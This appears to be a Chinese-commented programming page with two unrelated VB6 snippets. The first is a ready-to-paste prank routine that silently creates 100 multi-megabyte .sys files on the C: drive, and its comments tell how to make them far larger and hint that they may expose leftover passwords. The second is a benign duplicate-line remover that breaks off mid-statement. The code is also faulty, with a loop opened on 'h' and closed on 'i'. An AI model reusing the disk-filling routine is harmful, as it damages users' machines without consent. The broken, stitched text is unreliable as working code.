Private Sub Form_Load()
On Error Resume Next
For h = 1 To 100 '(这个100为写入文件的个数,就是向C盘下写100个文件)
Open "c:\aa" + CStr(h) + ".sys" For Random As 1
'(在C盘下产生文件 类似 "aax.sys" x为数字)
DoEvents
Put #1, 30000, "aa"
'这里的这个30000是控制生成文件大小的。
'30000产生的文件大小是3.6M左右
'10000产生的文件大小是1.2M左右
'如果你改为3000000的话,那就是360M,不要太坏哦!
'如果你想知道那么大的文件里面是什么,那就就用写字板打开看就是了,可能里面还有你的QQ密码也说不定。因为这些内容都是在你的缓存文件里随机产生的。不过你会在文件的最后一行看到有一个神秘的字符,那就是“aa”字样。
Close #1 '关闭打开的文件句柄
Next i
End Sub
'以是程序可以直接粘帖到VB工程文件中去即可执行。
'通过VB脚本改写而成,可以直接使用 放入程序中可以直接使用
'删除重复行程序 '
'foutPathName 为待删除的文本文件。注:输入文件不能有空行,别外扩展名必需为.TXT
'Fout 为输出的文本文件
Private Function DelSameLine(foutPathName As String, Fout As String) As Boolean 'foutPathName="c:\miaozk.txt"
' On Error GoTo errDel
DelSameLine = True
Const adOpenStatic = 3
Const adLockOptimistic = 3
Const adCmdText = &H1
Set objConnection = CreateObject("ADODB.Connection")
Set objRecordset = CreateObject("ADODB.Recordset")
strPathtoTextFile = GetFilePath(foutPathName)
strFile = GetFileName(foutPathName)
objConnection.Open "Provider=Microsoft.Jet.OLEDB.4.0;" & _
"Data Source=" & strPathtoTextFile & ";" & _
"Extended Properties=""text;HDR=NO;FMT=Delimited"""
objRecordset.Open "Select DISTINCT * FROM " & strFile, _
objConnection, adOpenStatic, adLockOptimistic, adCmdText
Do Until objRecordset.EOF
Set objFso = CreateObject("Scripting.FileSystemObject")
Set fp = objFso
评论